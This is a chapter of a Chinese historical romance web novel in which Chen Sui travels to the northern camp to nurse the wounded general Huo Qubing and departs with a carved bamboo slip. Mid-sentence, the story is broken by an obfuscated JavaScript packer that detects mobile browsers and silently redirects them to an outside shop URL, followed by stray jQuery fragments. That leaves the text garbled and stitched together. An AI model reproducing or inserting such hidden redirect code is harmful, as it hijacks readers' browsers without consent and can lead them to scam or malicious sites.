麦子收了，入仓了，草帘还没盖完。
陈穗蹲在营地里新加盖的那间粮仓门口，手里捏着一片记录今年收成的竹简，正在心算来年五百亩扩种需要预留的种子量。文吏在旁边捧着账本低声念着数据，她偶尔点一下头，偶尔打断他问某个地块的具体产量。这是入秋以来最寻常不过的一个午后——文吏的算筹拨得噼啪响，粮仓里的麻袋散发着干谷物的温暖气味。
她听到马蹄声的时候没太在意。北线的军报隔段时间就会来一次，她从最初的每次都站起来去看变成了继续做手头的事。马蹄声在营门口停住了，有人翻身下马，靴子踩在沙土地面上的声音比平时急促了一些，像跑着进来的。陈穗手里的竹简还没有放下，她听到那个脚步声径直朝她这个方向来，并且没有按照惯例先去找副将的时候，她的心跳和脚步都停了。
文吏先抬起头来：“怎么了？”
陈穗已经站起来了。营门方向那个斥候正朝她跑来，甲胄上的灰土很厚，腰间的军报卷轴还没解下来。他跑到她面前的时候喘得很厉害，显然是赶了急路。他的手按在膝上缓了一下呼吸才抬头看着她说了一句：“农侯。将军负伤了。”他说完这句话的时候陈穗手里的竹简从指间滑落，啪地一声掉在地上，墨面朝下嵌进了沙土里。她整个人定在原地没有动。
文吏弯腰把竹简捡起来，嘴唇动了动想说什么，陈穗先开口了：“什么伤？”
“匈奴左贤王部突袭前锋营。将军率部迎击，胜了。但左臂被流矢射中，军报上写的是……”斥候说到这里停了一下，“写了‘伤势不轻’。具体轻重军报上没有细写。”
陈穗听完在原地站了一会儿。她低头看了一眼自己空空的右手——竹简掉了，手心还保持着一个虚握的姿势，指节微微泛白。她把手收回来在衣摆上蹭了一下，然后抬头问斥候：“他在哪？”
“北线大营。距此约两百三十里。”
“你歇一下。”陈穗转身回了帐里。她翻出一个小布包，把晒好的止血药装进去，又塞了干净的纱布和几包治伤防感染的干药粉——灰袍军医配的，她存了一整包。装完之后她把木盒从枕边拿起来掂了一下，没有打开，收进包袱里。然后她走到帐外去找副将，用跟平时一样的语气说了一句：“明天一早我去北线。屯田的事交给文吏，粮草的事交给他和田地记录。你看着营地。”副将愣了一下，嘴巴张了张想劝，但看着她已经背着包袱走出来往马厩方向走去的样子，他最后只说了句：“农侯路上小心。”
第二天天还没亮陈穗就出发了。她骑的是那匹枣红马，马背上挂着她那个小包袱，里面装了止血药、纱布、几片竹简，和一本她自己记录的方略手抄。北线大营在两百多里外，她计划两天赶到。然而实际走了不到一天，她就嫌太慢了，途中换了一次马，把行程缩短到了一天半。当北线大营的轮廓终于出现在视野里的时候，天色正在往暮色里沉。营帐连绵起伏，比河西的营地大了好几倍，军旗在晚风里猎猎作响，士兵穿行其间，空气里弥漫着一股混了沙土和铁腥的气味。她勒马在营门外停了一下，守卒拦过来问话，她报了身份，对方看了她一眼然后放行了。
她穿过营门往里走的时候脚步放慢了一拍，然后继续往中军帐方向走。沿途经过的士兵有人侧目看她——一个穿粗布衣的年轻女人背着包袱快步穿过营区，穿着素色的衣裳，腰间的包袱扎得很紧，一看就是赶了很远的路才来的。她走到中军帐门口的时候掀帘的动作顿了顿。帐帘的布面粗糙而厚重，指尖触到的质感跟河西营地的帐帘一样，但她掀开它的时候手指是凉的。
霍去病躺在胡床上。他侧躺着，左臂上缠了厚厚的白布，布面隐隐透出暗褐色的印迹。脸朝着门口的方向，眼睛是闭着的，唇色偏淡，眉头微微皱着——大概在睡，但睡得不深，像是随时会醒的样子。她站在帐门口没有走进去。她低头看着他的左臂，白布从肩膀缠到手腕，包扎的手法很专业，一看就是军医处理的。呼吸是平稳的，胸口的起伏频率不快不慢，每一下都均匀如常。她还看见矮几上搁着一只空碗，碗沿残留着药渣的颜色。她把包袱放在一旁，走到矮几边拿起那只空碗闻了一下——是治伤的草药，方子温和而稳妥。军医处理得不错。她把碗放回去，在胡床旁边的胡凳上坐下来。
她坐下来的时候胡凳的脚在地面上挪动发出了一点轻微的声响。他醒了过来。睁开眼看到她的时候瞳孔微微收缩了一下，像是在确认自己不是在做梦。他确认了三秒，然后开口说了一句话，声音有点哑：“你怎么来了。”
陈穗没有回答。她伸手探了一下他额头的温度——微微发烫但不严重，像身体在愈合过程中的正常反应。她把手指收回去，从包袱里拿出那袋止血药放在他枕边。“军医用的是什么方子？你喝了几天了？烧了多久？”
他没有回答她的问题，而是侧着头看她，目光从她的脸移到她带来的包袱上，再移回她的脸。“你骑了两天？”
“一天半。”她说，“换了一匹马。”
他把目光偏开了，落在帐顶上某处，像在数帐布上那些被风刮出来的丝缕纹路。片刻之后他的嘴唇动了动说了一句话：“你那个旧手套——我留在河西了。等你回去再戴。”
陈穗愣了一下。他说的“留在河西”，意思是出发之前他把旧手套放在了河西的某个地方没有带在身上。她不知道他为什么要告诉她这个，但她点了点头说：“好。”然后她站起来，拿起那只空碗说：“我去给你煎药。”她走出帐的时候掀帘的指尖有一点发紧，但她把帘子放好之后站在帐外深呼吸了三次才迈开了步子。
接下来的半个月，她每天给他换药、熬汤药、盯着他按时喝。军医本来还有所顾虑，但在她给他换过一次药之后，军医看了看包扎的利落程度和药粉的用量，就默许她接手了这件事。她把止血药配好了分量一天三次换，换的时候动作很快很稳，手不抖，像给麦田喷药一样平常。他看着她的脸，她正在低头包扎他左臂上的伤口，嘴角抿着，额发垂下来遮了半只眼睛
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17920796|213459||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
。他没有说话，他低下头看着自己左臂上那道被重新包扎好的伤口，陈穗包扎的结打得比军医紧一些，但是边缘处理的更整齐，像她给水车绑绳子时一样仔细。
有一天傍晚她端了药碗进来，他正靠坐在胡床上看一份军报。她走过去把药碗放在矮几上，他放下军报端起来喝了。喝完之后把碗递回给她，说了一句：“苦。”陈穗接过空碗：“良药苦口。”他把碗放到矮几上说“知道了”。每次煎药她都会自己先尝一小口，确认温度和浓度合适了再端进去给他。他喝完之后她把碗拿走出去洗的时候，他有一次开口问过她是不是每碗都尝了，她没有回答，只是把碗收好走出去了。后来他喝药的时候再也没有说过“苦”这个字。
半月后军医检查他的伤口，确认了愈合情况良好，新的肌肉组织已经在原先破损的地方长出来了。陈穗在旁边看着军医拆开白布又包上新的，退后一步说了一句：“我该回去了。麦田还没盖草帘。”
他说：“好。”
然后他顿了一下，又说了一句话：“我快好了。过几天也回去。”
她看着他。他坐在胡床上，左臂上包着刚换的新白布，神色比她刚来那天好了很多，脸色恢复了一些血色。她点了一下头：“那我把你的药方子跟军医说清楚。你走之前记得带上。”她说这些话的语气跟平时一样平淡，像在交代一件农事安排。但他听出了那句“记得带上”后面没有说出来的意思——她会在河西等他。她一直会在那里。
陈穗收拾包袱准备走的那天早上，他坐在胡床上看着她把药袋、纱布、竹简、方略手抄一件件装回包袱里。她整理完了之后站起来看着他说了句：“草帘盖完之前你别回来也行——盖完了再回来。”她说这句话的时候嘴角弯着，弯的弧度很小但确实在弯着。
他看着她，忽然站起来从矮几下面的匣子里拿出一样东西递给她。一片竹简，比普通的窄一半，上面刻了一株麦穗，穗头饱满地垂着，线条比之前那片小竹片上的更流畅了，像是练过很多次才刻出来的成果。他说：“这是新的。那片旧的你留着，这片是……重新刻的。”
陈穗接过来看了一眼。刻得更精细，麦芒的走向更加自然、穗头的颗粒更加分明，每一笔都很稳。她把那片竹简翻过来看背面，角落里刻了一行小字：“陈穗。河西。”跟上次他给她看的那片一样，但字迹更工整了。她看了很久，然后把它放进了怀里，跟那三片旧的放在一起。现在她有四片了。她抬头看着他，他站在胡床边跟平时一样没有多余的表情，但他看着她把竹简收进怀里的样子被日光从帐帘缝隙里照进来落在他的肩甲上。
她说：“走了。”他点了点头：“草帘盖完之前——不回来也行。”她笑了一下，掀帘出去了。
走出中军帐的时候外面的晨光铺了满地。她从怀里掏出那片新的竹简又看了一眼，然后小心地放回去，走向马厩，翻身骑上了枣红马，走出了北线大营的营门。
晨光把她的影子拉得很长，沿路洒在沙土上。